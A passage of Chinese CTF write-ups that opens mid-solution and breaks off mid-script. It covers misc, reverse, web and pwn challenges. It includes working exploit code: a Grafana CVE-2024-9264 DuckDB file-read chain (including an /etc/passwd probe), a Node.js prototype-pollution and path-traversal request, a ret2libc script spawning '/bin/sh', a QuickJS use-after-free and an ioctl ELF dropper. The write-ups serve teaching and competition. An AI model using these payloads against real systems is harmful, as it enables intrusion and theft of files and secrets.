整条链整理成脚本就是下面这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import requestsimport timeBASE = "http://175.27.251.122:10025" s = requests.Session() s.post( f"{BASE} /api/login" , json={"username" : "editor" , "password" : "editor123" }, ) payload = { "queries" : [{ "refId" : "B" , "datasource" : {"type" : "expr" , "uid" : "expr" , "name" : "Expression" }, "type" : "sql" , "hide" : False , "expression" : "SELECT content FROM read_blob('/flag')" , "window" : "" }], "from" : str (int (time.time() * 1000 ) - 86400000 ), "to" : str (int (time.time() * 1000 )) } r = s.post( f"{BASE} /api/ds/query?ds_type=expr&expression=true&requestId=Q100" , json=payload, ) data = r.json() flag = data["results" ]["B" ]["frames" ][0 ]["data" ]["values" ][0 ][0 ].strip() print (flag)
如果想把“验证洞存在”和“正式读 flag”分开,第一轮可以先把 expression 改成:
1 SELECT content FROM read_blob('/etc/passwd' )
只要回包里已经能把文件内容带出来,就说明整个链已经打通了:
登录态有效;
真实入口找对了,是 /api/ds/query 而不是页面上的假接口;
SQL Expressions 的输入确实被原样交给 DuckDB;
read_blob() 确实能直接读本地文件。
最后再切回 /flag,从返回 JSON 里按这条路径把值抠出来:
1 data["results" ]["B" ]["frames" ][0 ]["data" ]["values" ][0 ][0 ]
这题收得很干脆,没有第二层绕过,也不需要提权。真正容易走偏的地方只有两个:
没先联想到 CVE-2024-9264,会把它当普通 Grafana 仿站;
被 /api/run-expression 这个假接口拖住,没去打真正的 /api/ds/query。
只要把这两处踩准,后面就是标准 DuckDB 文件读取,直接把 /flag 拉出来。
Flag:
1 flag{R247_G2afana_RRRR@@@@####123}
Cake
类型:Misc
得分:475
时间:06/06 13:23:31
这题一开始就很像双层结构。解压附件后只有两个东西:
1 2 cake_base.bin cake_knife.txt
cake_knife.txt 里面正好是三组 32 位十六进制数:
1 2 3 0xb47e923c 0x5aeb49a7 0xa3cd7af0
这个形状太像 PKZIP 传统加密 ZipCrypto 的 key0 / key1 / key2 了,所以第一层我没有去猜密码,而是直接把这三组数当 raw key,按 ZipCrypto 的 keystream 公式硬解 cake_base.bin。
第一层脚本的核心就是这段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pathlib import PathPOLY = 0xEDB88320 crc_table = [] for i in range (256 ): c = i for _ in range (8 ): c = (c >> 1 ) ^ POLY if c & 1 else c >> 1 crc_table.append(c & 0xffffffff ) def crc32_update (crc: int , b: int ) -> int : return (crc_table[(crc ^ b) & 0xff ] ^ (crc >> 8 )) & 0xffffffff def update_keys (k0, k1, k2, p ): k0 = crc32_update(k0, p) k1 = (k1 + (k0 & 0xff )) & 0xffffffff k1 = (k1 * 134775813 + 1 ) & 0xffffffff k2 = crc32_update(k2, (k1 >> 24 ) & 0xff ) return k0, k1, k2 def zipcrypto_decrypt (data: bytes , keys ): k0, k1, k2 = keys out = bytearray () for c in data: t = (k2 | 2 ) & 0xffffffff keystream = ((t * (t ^ 1 )) >> 8 ) & 0xff p = c ^ keystream out.append(p) k0, k1, k2 = update_keys(k0, k1, k2, p) return bytes (out) keys = (0xb47e923c , 0x5aeb49a7 , 0xa3cd7af0 ) cipher = Path("cake_base.bin" ).read_bytes() plain = zipcrypto_decrypt(cipher, keys) print (plain[:4 ])Path("cake_inner.zip" ).write_bytes(plain)
这里最直接的确认点就是前 4 字节。跑完输出是:
说明第一层完全走对,产物就是一个正常 ZIP。把 cake_inner.zip 解开后,关键文件有三个:
fruit.bin
instruction.txt
scream.avi
instruction.txt 里有一长串 passwd:,fruit.bin 体积也不小,这两个都很像故意丢出来吸注意力的干扰。真正有信息量的是 scream.avi。先用 ffprobe 看视频信息,能确定它是固定帧数、固定分辨率的视频流,接下来就往“逐帧藏字”上查。
最关键的观察是:某个固定像素点在连续多帧里总是只有一个 RGB 通道非零,而且这个非零值刚好落在可打印 ASCII 范围。于是我没有手点视频,而是直接枚举所有帧里的异常像素,筛条件:
恰好一个通道非零;
非零值在 32~126;
同一个坐标能从第 0 帧开始连续出现。
用来扫视频的脚本核心是这段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from collections import defaultdictimport cv2import numpy as npcap = cv2.VideoCapture("scream.avi" ) coords = defaultdict(list ) frame_id = 0 while True : ok, bgr = cap.read() if not ok: break rgb = bgr[:, :, ::-1 ] r = rgb[:, :, 0 ] g = rgb[:, :, 1 ] b = rgb[:, :, 2 ] mask = ( ((r >= 32 ) & (r <= 126 ) & (g == 0 ) & (b == 0 )) | ((g >= 32 ) & (g <= 126 ) & (r == 0 ) & (b == 0 )) | ((b >= 32 ) & (b <= 126 ) & (r == 0 ) & (g == 0 )) ) ys, xs = np.where(mask) for y, x in zip (ys, xs): pix = tuple (int (v) for v in rgb[y, x]) coords[(int (x), int (y))].append((frame_id, chr (max (pix)), pix)) frame_id += 1 for (x, y), arr in sorted (coords.items(), key=lambda item: -len (item[1 ])): by_frame = {i: (ch, pix) for i, ch, pix in arr} n = 0 while n in by_frame: n += 1 if n >= 5 : text = "" .join(by_frame[i][0 ] for i in range (n)) print (x, y, text) break
扫出来的命中坐标就是:
再单独把这个坐标前 26 帧的 RGB 打出来,就很直观了:
1 2 3 4 5 frame 00: RGB=(102, 0, 0) -> 'f' frame 01: RGB=(0, 108, 0) -> 'l' frame 02: RGB=(0, 0, 97) -> 'a' ... frame 25: RGB=(0, 125, 0) -> '}'
直接拼起来就是完整 flag。到这里就能确认第二层也不是“猜视频里可能有什么”,而是固定坐标逐帧读 ASCII。
Flag:
1 flag{W0w_d3lici0us_c4ke!!}
pwner_LEVEL8
类型:Pwn
得分:254(+3%)
时间:06/06 13:20:52
这题真正要读的不是普通用户态缓冲区,而是驱动里那块全局 g_blob。默认路径只允许读前 0x40 字节,所以如果直接走设备原本的“正常读”逻辑,只会看到前半截;真正的 flag 被放在 g_blob + 0x40,必须先把驱动内部记录的读长度扩到 0x80。
本地分析完以后,思路被拆成两层:
先本地生成一个最小 ELF,里面只做三件事:打开 /dev/babyioctl、连续打两个 ioctl、把读回来的 0x80 字节原样写到标准输出;
再把这个 ELF base64 化,丢到远端 QEMU 小系统里落地执行。
先说本地 builder。真正生成 exp 和 exp.b64 的脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 import base64import structfrom pathlib import Pathfrom keystone import KS_ARCH_X86, KS_MODE_64, KsBASE = 0x400000 TEXT_OFF = 0x100 DATA_OFF = 0x200 ENTRY = BASE + TEXT_OFF DATA_VA = BASE + DATA_OFF def build_elf (text: bytes , data: bytes ) -> bytes : data_start = DATA_OFF file_size = data_start + len (data) elf_header = struct.pack( "<16sHHIQQQIHHHHHH" , b"\x7fELF" + bytes ([2 , 1 , 1 , 0 ]) + bytes (8 ), 2 , 0x3E , 1 , ENTRY, 64 , 0 , 0 , 64 , 56 , 1 , 0 , 0 , 0 , ) ph_load = struct.pack( "<IIQQQQQQ" , 1 , 7 , 0 , BASE, BASE, file_size, file_size, 0x1000 , ) image = bytearray () image += elf_header image += ph_load image += b"\x00" * (TEXT_OFF - len (image)) image += text image += b"\x00" * (DATA_OFF - len (image)) image += data return bytes (image) def main () -> None : size_ptr = DATA_VA buf_ptr_ptr = DATA_VA + 8 dev_path = DATA_VA + 0x10 buf = DATA_VA + 0x20 newline = buf + 0x80 asm = f""" mov rax, 2 mov rdi, {dev_path} mov rsi, 2 xor rdx, rdx syscall mov r12, rax mov rax, 16 mov rdi, r12 mov rsi, 0x4008ba00 mov rdx, {size_ptr} syscall mov rax, 16 mov rdi, r12 mov rsi, 0x4008ba01 mov rdx, {buf_ptr_ptr} syscall mov rax, 1 mov rdi, 1 mov rsi, {buf} mov rdx, 0x80 syscall mov rax, 1 mov rdi, 1 mov rsi, {newline} mov rdx, 1 syscall mov rax, 60 xor rdi, rdi syscall """ ks = Ks(KS_ARCH_X86, KS_MODE_64) text, _ = ks.asm(asm, as_bytes=True , addr=ENTRY) data = bytearray () data += struct.pack("<Q" , 0x80 ) data += struct.pack("<Q" , buf) data += b"/dev/babyioctl\x00" data += b"\x00" * (0x20 - len (data)) data += b"\x00" * 0x80 data += b"\n" elf = build_elf(bytes (text), bytes (data)) out_dir = Path(__file__).resolve().parent (out_dir / "exp" ).write_bytes(elf) (out_dir / "exp.b64" ).write_text(base64.b64encode(elf).decode(), encoding="ascii" ) if __name__ == "__main__" : main()
这段 builder 里真正关键的地方就是这两个 ioctl 常量:
0x4008ba00:把驱动内部读长度改成 0x80
0x4008ba01:把整块 g_blob 指向的内容拷回用户态
把 ELF 造出来以后,再发远程。远程因为是起 kernel + rootfs,最稳的办法不是一条条手敲,而是先等待它真正启动到 ctf$ ,再把 base64 过的 ELF 落到 /tmp/exp。最终提交脚本就是下面这份:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 import socketimport reimport sysimport timefrom pathlib import PathHOST = "123.56.126.77" PORT = 1017 def recv_some (sock: socket.socket, seconds: float ) -> bytes : end = time.time() + seconds chunks = [] while time.time() < end: try : data = sock.recv(4096 ) if not data: break chunks.append(data) except TimeoutError: pass time.sleep(0.05 ) return b"" .join(chunks) def recv_until_ready (sock: socket.socket, seconds: float ) -> str : end = time.time() + seconds chunks = [] while time.time() < end: try : data = sock.recv(4096 ) if not data: break chunks.append(data) text = b"" .join(chunks).decode("latin1" , "ignore" ) if "Kernel panic" in text or "ctf$ " in text: return text except TimeoutError: pass time.sleep(0.05 ) return b"" .join(chunks).decode("latin1" , "ignore" ) def send_line (sock: socket.socket, line: str ) -> None : sock.sendall(line.encode() + b"\r" ) def main () -> None : b64 = Path(__file__).with_name("exp.b64" ).read_text(encoding="ascii" ).strip() with socket.create_connection((HOST, PORT), timeout=10 ) as sock: sock.settimeout(0.2 ) send_line(sock, "" ) boot = recv_until_ready(sock, 20 ) sys.stdout.write(boot) sys.stdout.flush() if "Kernel panic" in boot: raise SystemExit("remote kernel panicked before userspace came up" ) if "ctf$ " not in boot: raise SystemExit("remote did not reach the shell prompt in time" ) payload = [ f"printf '%s' '{b64} ' | /bin/b64dec >/tmp/exp" , "/bin/chmod +x /tmp/exp" , "/tmp/exp" , ] for line in payload: send_line(sock, line) time.sleep(0.03 ) out = recv_some(sock, 5 ).decode("latin1" , "ignore" ) sys.stdout.write(out) sys.stdout.flush() match = re.search(r"(flag|SDPC)\{[^}\r\n]+\}" , out) if match : print (f"\n[flag] {match .group(0 )} " ) if __name__ == "__main__" : main()
所以这题真正的利用动作不是“交互里试 ioctl”,而是本地造一个只干驱动读写的极小 ELF,再让远端一次性把 g_blob 的 0x80 字节全部带回来。
Flag:
1 SDPC{DTMMWJIeBze6KugjH8zkslz2}
鲨士比亚王国的金融危机
类型:Misc
得分:291
时间:06/06 13:18:29
这题真正的突破点不在 OCR,也不在图像增强,而是在先把两张图的“像素数量关系”看明白。把附件里的 SCB.png 和 flag.png 放在一起观察以后,很快能发现一个非常硬的对应关系:
SCB.png 里纯白色区域的像素总数
恰好等于 flag.png 的总像素数
这说明 flag.png 根本不是拿来直接看的,而是一个像素池;SCB.png 也不是成品,而是一张等待回填的底图。题面提示里提到“像素漩涡”,这一步就把读出顺序也点明了: flag.png 需要按螺旋顺序取像素,而不是按普通行列顺序读取。
所以这题实际只做三件事:
找出 SCB.png 中所有白色像素位置;
按螺旋顺序读取 flag.png 的全部像素;
把读出来的像素依次填回 SCB.png 的白色区域。
这里最重要的判断就是第一步的数量校验。只要白色位数量和 flag.png 总像素数完全一致,后面的回填方向就基本不会错;如果数量对不上,那说明读图方式或者目标区域判断有问题,没必要往后做。
这题直接写脚本做最省事,核心逻辑如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from PIL import Imagedef spiral_coords (w, h ): left, right = 0 , w - 1 top, bottom = 0 , h - 1 while left <= right and top <= bottom: for x in range (left, right + 1 ): yield x, top top += 1 for y in range (top, bottom + 1 ): yield right, y right -= 1 if top <= bottom: for x in range (right, left - 1 , -1 ): yield x, bottom bottom -= 1 if left <= right: for y in range (bottom, top - 1 , -1 ): yield left, y left += 1 scb = Image.open ("SCB.png" ).convert("RGBA" ) flag = Image.open ("flag.png" ).convert("RGBA" ) fw, fh = flag.size sw, sh = scb.size spiral_pixels = [flag.getpixel((x, y)) for x, y in spiral_coords(fw, fh)] white_positions = [] for y in range (sh): for x in range (sw): if scb.getpixel((x, y))[:3 ] == (255 , 255 , 255 ): white_positions.append((x, y)) assert len (white_positions) == len (spiral_pixels)for (x, y), px in zip (white_positions, spiral_pixels): scb.putpixel((x, y), px) scb.save("scb_restored.png" )
这段脚本里真正不能错的只有两处:
spiral_coords() 必须按标准螺旋顺序遍历 flag.png
白色位统计和 flag.png 总像素数必须严格相等
脚本跑完以后,scb_restored.png 就不再是一张残图,而会变成一张可以直接读字的结果图。做到这里基本已经结束了,因为恢复后的画面里能直接看出最后的答案,不需要再做额外解码。
整题的还原路径很直白:
用白色像素数量锁定“回填”思路;
用“像素漩涡”锁定 flag.png 的读取顺序;
用脚本把螺旋读出的像素灌回 SCB.png;
打开恢复后的图,直接读出 flag。
Flag:
1 flag{You_saved_SCB_by_the_coin}
pwner_LEVEL9
类型:Pwn
得分:172
时间:06/06 13:09:05
这题表面上挂着个 qjs,但实际是 QuickJS 题目补丁里故意塞了一个很直白的 UAF 接口。拿到附件后先看 quickjs-libc.c.patched,关键变量几乎都写在一起:
1 2 3 static uint8_t *js_uaf_dangling_ptr;static size_t js_uaf_dangling_size;static uint8_t *js_uaf_flag_chunk;
后面几段逻辑也很直接:
uaf.prepare() 里会创建一个 ArrayBuffer,拿到它的底层指针和长度;
然后故意把这个 ArrayBuffer 释放掉,但把 js_uaf_dangling_ptr 留下来;
uaf.plant() 再按同样大小 js_mallocz(ctx, js_uaf_dangling_size) 申请一块新内存;
直接 flag = getenv("FLAG_VALUE"),再 memcpy(js_uaf_flag_chunk, flag, copy_len);
uaf.read(n) 则把 js_uaf_dangling_ptr 指向的内容按字符串直接返回。
补丁里把挑战参数写得非常死,几乎不用猜:
1 2 #define JS_UAF_CHUNK_SIZE 0x80 static const char fallback_flag[] = "PCTF{!!!!_FLAG_ERROR_ASK_ADMIN_!!!!}" ;
而 uaf.plant() 里最关键的几行就是:
1 2 3 4 5 6 7 8 9 10 11 12 js_uaf_flag_chunk = js_mallocz(ctx, js_uaf_dangling_size); flag = getenv("FLAG_VALUE" ); if (!flag || !*flag) flag = fallback_flag; copy_len = flag_len; if (copy_len >= js_uaf_dangling_size) copy_len = js_uaf_dangling_size - 1 ; memcpy (js_uaf_flag_chunk, flag, copy_len);JS_SetPropertyStr(ctx, info, "reused" , JS_NewBool(ctx, js_uaf_flag_chunk == js_uaf_dangling_ptr));
这几行直接把命中条件和观测点都交代清楚了:
chunk 大小固定就是 0x80
真 flag 来自环境变量 FLAG_VALUE
如果环境变量没拿到,只会落到那个 PCTF{!!!!_FLAG_ERROR_ASK_ADMIN_!!!!} 假值
info.reused 就是判断复用是否成功的硬指标
所以这题本质不是“构造复杂堆风水”,而是故意给你一条完整的送分链:
先造悬空指针;
再用同尺寸重新申请;
然后把 flag 拷进这个复用块;
最后从悬空指针把内容读回来。
uaf.plant() 甚至还会把复用状态回显出来,等于额外送了一个观测点。只要 reused 为真,就说明第二次分配真的吃回了第一次释放的块。
最后跑通远程的 exploit.js 就是这四句:
1 2 3 4 print (uaf.prepare ())let info = uaf.plant ()print (JSON .stringify (info))print (uaf.read (0x80 ))
这四行分别做的是:
uaf.prepare():制造 0x80 大小的悬空块;
uaf.plant():把 FLAG_VALUE 拷进新申请的同尺寸 chunk,同时返回复用信息;
JSON.stringify(info):确认 reused、size 这些关键字段;
uaf.read(0x80):直接把悬空指针指向的数据按字符串读出来。
远程本身也没有多余交互,服务端会执行你发过去的整份 JS,再把输出吐回来,所以提交方式其实就是:
1 cat exploit.js | nc 123.56.126.77 1015
因为尺寸完全一致,这里不需要任意地址写,也不需要伪造对象结构;命中条件只有一个,就是第二次分配正好原地复用第一次释放的块。一旦复用成立,flag 就会以明文直接出现在 uaf.read(0x80) 的输出里。
Flag:
1 SDPC{LQCuUCZr0x8PgNJtvFQlcMRd}
遥遥领先
类型:Reverse
得分:395
时间:06/06 12:47:50
这题是 HarmonyOS .hap 逆向,而且不是单边校验。难点在于 ArkTS 字节码和 libentry.so 会一起参与最终解密,少跟一边都会断链。
起手先解包 .hap,直接盯两个核心文件:
ets/modules.abc
libs/arm64-v8a/libentry.so
ArkTS 这一边先恢复常量和业务链。modules.abc 里真正有用的是 DatabaseUtil、LocalStore、CTFBridge、FlagUtil 这几个类,对应的解混淆逻辑可以写成:
1 2 3 4 5 6 7 def e1 (dust: bytes , mask: bytes , bias: int ) -> bytes : out = bytearray () for i, v in enumerate (dust): x = (v - ((bias + 9 * i) & 0xff )) & 0xff x ^= mask[i % len (mask)] out.append(x) return bytes (out)
顺着这条链把字符串都抠出来之后,先拿到三组最关键常量:
1 2 3 4 admin = admin salt = hmos_ctf_2026 token_tag = HMOS_CTF_2026 folds = ['bridge-open', 'native-layer', 'arkts-stage']
然后转去 native 层。libentry.so 里有个 getPasswordTail(),它给的是管理员密码哈希后半段。这里拿到的值是:
1 7385bf26bc105ca633cfe2d60bc72c08
和 ArkTS 里前半段拼起来,完整 admin 哈希就是:
1 1310bf3a2891994baeb95961958bae7c7385bf26bc105ca633cfe2d60bc72c08
接下来开始算 token。这一步是整个链条里第一个硬校验点,直接按逻辑写:
1 2 3 4 5 from hashlib import sha256password_hash = "1310bf3a2891994baeb95961958bae7c7385bf26bc105ca633cfe2d60bc72c08" token = sha256(("admin" + password_hash + "hmos_ctf_2026" ).encode()).hexdigest() print (token)
输出必须是:
1 8f23ca2211187b27c9b93450be8b5a83253379789fa16946e65fe68f7a057f70
有了 token 以后,再顺 ArkTS 的 Home.reloadSecret() 走。这里会调用 CTFBridge.buildBridgeVector("bridge-sync", true, "admin"),随后进入 FlagUtil.decryptLocalSecret(token, proof)。这一步最坑的是 ArkTS 字节码里二元操作方向容易看反,尤其是字符串切片和拼接顺序;一旦方向看反,proof 和 seed 都会全错。
继续可恢复出正确 proof:
1 21350f1aeae99ed1faea899a3e2f1f0e615945e1a692caa5aa809e6c79004d360e12fea2d880
buildCheckSeed() 的逻辑则可以整理成:
1 2 3 4 5 6 prefix = sha256((token + "|admin|HMOS_CTF_2026" + proof[:20 ]).encode()).hexdigest() for i in range (3 ): prefix = sha256( (prefix[8 *i:8 *i+24 ] + folds[i] + proof[10 *i:10 *i+10 ] + prefix[24 :]).encode() ).hexdigest() seed = prefix[:48 ]
最后算出来的 seed 为:
1 8dd108c1c4e6a0b7b28feb6046be8bef3b4726be69f4c3e6
接下来 native check 不是静态就能看完的,这里直接用 Unicorn 去模拟 libentry.so 的校验函数,把 seed 和 proof 喂进去,拿到返回值 ok_hex:
1 611a6f297798be96efd4f19c32357f24792a27b2b8c196e4dbc2490f4420744debbdc6b6bcc4
最后一层 FlagUtil.o2() 就是按异或链把本地密文逆回来,核心关系是:
1 plain[i] = cipher[i] ^ ok_hex[i] ^ seed[i] ^ proof[i] ^ q2[i] ^ ((19*i + 35) & 0xff)
所以这题不是“最后看到了一个字符串像 flag”,而是整条链每一段都有固定中间值能复核:token、proof、seed、ok_hex 全对上,最后自然落到 flag。
Flag:
1 flag{H0ng_Men9_nixiang_yidiandoubunan}
ezlog
类型:Web
得分:446
时间:06/06 11:32:35
这题的利用链很短,但每一步都挺典型。 问题点一是原型链污染式的认证绕过:服务端把 ADMIN_NONCE 提前挂在 Object.prototype.nonce 上,所以请求体里只传 {"name":"CTF-ADMIN"} 而不传 nonce,req.body.nonce 仍然会从原型链上读到正确值,直接通过管理员校验。
问题点二是 file 参数既被拿来做 allowlist 检查,又被拿来做路径拼接,但代码默认它是字符串。 把同名参数重复提交后,file 实际会变成数组,于是:
字符串检查被绕过;
.log 限制被绕过;
file.length > 10 触发截断后,真正有用的路径片段会被保留;
最终 path.resolve('./' + file) 归一化到 /flag。
这一段如果只用文字说,读起来还是有点跳,所以可以把它按服务端会发生的事情复原成一个最小片段。重复参数进来以后,file 的形态大致就是:
1 2 3 4 5 [ "a" ,"a" ,"a" ,"a" ,"a" , "a" ,"a" ,"a" ,"a" , "/../../flag" ,"." ,"log" ]
接下来关键不是数组本身,而是它在 JavaScript 里被拿去跟字符串拼接。数组一旦参与字符串运算,会先走 Array.prototype.toString(),于是:
1 2 3 4 5 6 7 8 9 10 11 const file = [ "a" ,"a" ,"a" ,"a" ,"a" , "a" ,"a" ,"a" ,"a" , "/../../flag" ,"." ,"log" ]; console .log (String (file));console .log ("./" + file);
也就是说,服务端以为自己在处理一个“文件名字符串”,实际上拼出来的是一串带逗号的整体路径。再配合长度截断和 path.resolve(),前面的填充项只是为了占位,真正有用的是后半截:
最后在归一化阶段,.. 会被正常折叠,前面的无效填充被吃掉,最终解析结果落到 /flag。
最后打过去的请求形态就是:
1 2 3 4 POST /api/checkfile?file=a&file=a&file=a&file=a&file=a&file=a&file=a&file=a&file=a&file=%2F..%2F..%2Fflag&file=.&file=log Content-Type : application/json{"name":"CTF-ADMIN"}
把这条链按代码逻辑再拆一下,其实就是三个点首尾相接:
不传 nonce,从 Object.prototype.nonce 继承到真实管理员 nonce;
file 用重复参数变成数组,绕过 allowedFile、includes('/') 和 includes('..') 这类字符串检查;
file.length > 10 截断后,配合路径归一化最终读到 /flag。
所以这题非常像一道“短链组合拳”: 每个点单看都不长,但刚好能组成认证绕过 + 文件读取的完整利用链。
完整请求脚本如下,核心就是这一段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requestsurl = ( "http://175.27.251.122:10010/api/checkfile" "?file=a&file=a&file=a&file=a&file=a" "&file=a&file=a&file=a&file=a" "&file=%2F..%2F..%2Fflag&file=.&file=log" ) res = requests.post( url, json={"name" : "CTF-ADMIN" }, ) print (res.text)
如果想把“数组型参数”这一点写得更直观,也可以直接用 requests 的列表参数形式去发,同样会生成重复的 file=:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requestsparams = [ ("file" , "a" ), ("file" , "a" ), ("file" , "a" ), ("file" , "a" ), ("file" , "a" ), ("file" , "a" ), ("file" , "a" ), ("file" , "a" ), ("file" , "a" ), ("file" , "/../../flag" ), ("file" , "." ), ("file" , "log" ), ] res = requests.post( "http://175.27.251.122:10010/api/checkfile" , params=params, json={"name" : "CTF-ADMIN" }, ) print (res.request.url)print (res.text)
这里的确认点也很硬:如果 nonce 继承链没生效,服务端会直接卡在管理员校验;如果数组型 file 没走通,最后读到的也不会是 /flag。只有三段链同时打通,响应里才会回出真实 flag。
Flag:
pwner_snake
类型:Pwn
得分:200
时间:06/06 11:12:09
先用格式化字符串 %7$p 泄露 canary。 第一轮溢出通过 puts@plt(puts@got) 泄露 libc 并回到主逻辑,第二轮再做 system("/bin/sh"),最后读取 /flag*。
完整思路其实就是两次 Any last words? 溢出:
第一轮只做泄露,不求直接打穿;
第二轮拿到 libc 基址后再打 system("/bin/sh")。
起手先发:
从初始画面里把 canary 抠出来:
1 canary = int (re.search(rb"0x([0-9a-fA-F]+)" , data).group(0 ), 16 )
关键 payload 实际上是两轮分开的。第一轮只负责泄露,第二轮才负责真正落 shell。最后跑通远程的脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from pwn import *import reimport timeHOST = "123.56.126.77" PORT = 1010 context.binary = ELF(r"C:\Users\27516\Documents\snake_ascii\pwn" ) context.log_level = "info" elf = context.binary libc = ELF(r"C:\Users\27516\Documents\snake_ascii\libc.so.6" ) def recv_until (io, pattern, total=8 ): buf = b"" end = time.time() + total while time.time() < end: try : chunk = io.recv(timeout=0.5 ) except EOFError: return buf, False if not chunk: continue buf += chunk if pattern in buf: return buf, True return buf, False def main (): io = remote(HOST, PORT) io.send(b"%7$p" ) data, ok = recv_until(io, b"quit" , 5 ) if not ok: raise RuntimeError("failed to receive initial screen" ) canary = int (re.search(rb"0x([0-9a-fA-F]+)" , data).group(0 ), 16 ) log.info("canary = %#x" , canary) _, ok = recv_until(io, b"Any last words?\n" , 8 ) if not ok: raise RuntimeError("failed to reach first overflow" ) payload1 = flat( b"A" * 0x38 , canary, b"B" * 8 , 0x4016EE , elf.got["puts" ], 0x401170 , elf.symbols["logic" ], word_size=64 , ) io.sendline(payload1) data, ok = recv_until(io, b"Any last words?\n" , 8 ) if not ok: raise RuntimeError("failed to reach second overflow" ) leak_blob = data.split(b"Any last words?" )[0 ].split(b"\n" )[0 ] puts_leak = u64(leak_blob[-6 :].ljust(8 , b"\x00" )) libc.address = puts_leak - libc.sym.puts log.info("puts = %#x" , puts_leak) log.info("libc = %#x" , libc.address) payload2 = flat( b"A" * 0x38 , canary, b"B" * 8 , 0x40101A , 0x4016EE , next (libc.search(b"/bin/sh\x00" )), libc.sym.system, word_size=64 , ) io.sendline(payload2) io.sendline(b"cat /flag*" ) flag, _ = recv_until(io, b"}" , 5 ) print (flag.decode("latin1" , "ignore" )) if __name__ == "__main__" : main()
第一轮 payload 是:
1 2 3 4 5 6 7 8 9 10 payload1 = flat( b"A" * 0x38 , canary, b"B" * 8 , 0x4016EE , elf.got["puts" ], 0x401170 , elf.symbols["logic" ], word_size=64 , )
它只做一件事:puts@plt(puts@got) 泄露真实 puts 地址,然后重新回到 logic()。拿到第一次回包以后,再这样算 libc:
1 2 puts_leak = u64(leak_blob[-6 :].ljust(8 , b"\x00" )) libc.address = puts_leak - libc.sym.puts
第二轮才是真正的 ret2libc:
1 2 3 4 5 6 7 8 9 10 payload2 = flat( b"A" * 0x38 , canary, b"B" * 8 , 0x40101A , 0x4016EE , next (libc.search(b"/bin/sh\x00" )), libc.sym.system, word_size=64 , )
第二轮打完以后补一句 cat /flag* 就可以收工。所以这题的关键不是“盲打一条 system 链”,而是先用第一轮把 canary 和 libc 都校准,再在第二轮稳定落 shell。
Flag:
1 SDPC{ygA6TWJOfSR7xEc2P0O3zrX8}
pwner_myedit
类型:Pwn
得分:350(+1%)
时间:06/06 11:05:52
核心是把程序内部指针改到 __environ,然后逐项读取环境变量,最后在环境里直接找到:
1 FLAG_VALUE=SDPC{PzSLwf33o9sKdF01lwD6Qcbd}
利用点在于配置写入路径会把输入的前 8 字节重新解释成指针,再配合“备份到堆”的逻辑把这个指针真正带进后续读取流程。于是这题不需要直接劫持控制流,只要把内部读取指针改到想看的地址,就能做任意地址读。
真正下手时要盯的就是两个细节:
前 8 字节会被当成目标指针重新解释;
backup to heap 之后再给一个合适的 off,这个指针就会进入后续“读取文件内容”的那条路径。
这里最后固定用的是:
1 2 ENVIRON_ADDR = 0x4F32D0 off = 16
0x4F32D0 是程序里 __environ 的地址,off = 16 则是当时能稳定把伪造指针送进后续读取逻辑的位置。这个值不是随手填的,如果偏移不对,后面的“显示文件内容”根本不会去解引用我们想看的地址。
整个脚本的主逻辑就是三步:
用 set_ptr() 把内部指针改到任意地址;
用 read8() 按 8 字节读内存;
从 ENVIRON_ADDR 开始一项项扫环境变量,直到命中 FLAG_VALUE=...。
实际用的关键脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *HOST = "123.56.126.77" PORT = 1003 ENVIRON_ADDR = 0x4F32D0 def set_ptr (io, addr, off=16 ): io.recvuntil(b"Choice: " ) io.sendline(b"1" ) io.recvuntil(b"enter new config data: " ) io.send(p64(addr).rstrip(b"\x00" ) + b"\n" ) io.recvuntil(b"Do you want to backup to heap? (y/n): " ) io.sendline(b"y" ) io.recvuntil(b"what off do you want" ) io.sendline(str (off).encode()) def read8 (io, addr ): set_ptr(io, addr) io.recvuntil(b"Choice: " ) io.sendline(b"2" ) prefix = b"--- File Content ---\n" data = io.recvuntil(b"\n--------------------" , timeout=2 ) start = data.index(prefix) + len (prefix) return data[start:-len (b"\n--------------------" )] def read_cstring (io, addr, limit=0x200 ): out = bytearray () while len (out) < limit: chunk = read8(io, addr + len (out)) if not chunk: break out.extend(chunk) if b"\x00" in chunk: break return bytes (out).split(b"\x00" , 1 )[0 ]
这里 p64(addr).rstrip(b"\x00") 也不是偷懒写法。因为程序把输入收进缓冲区以后,短输入剩下的位置本来就会保持零扩展,所以高位连续的 \x00 可以不显式发出去;这样既能避免不必要的截断影响,也能更稳地把目标指针写进去。
打点时先用 read8(io, ENVIRON_ADDR) 拿到环境变量数组首地址,再按 8 字节步长把每个 envp[i] 指针取出来,继续跟进去读字符串。完整脚本最后就是这样扫:
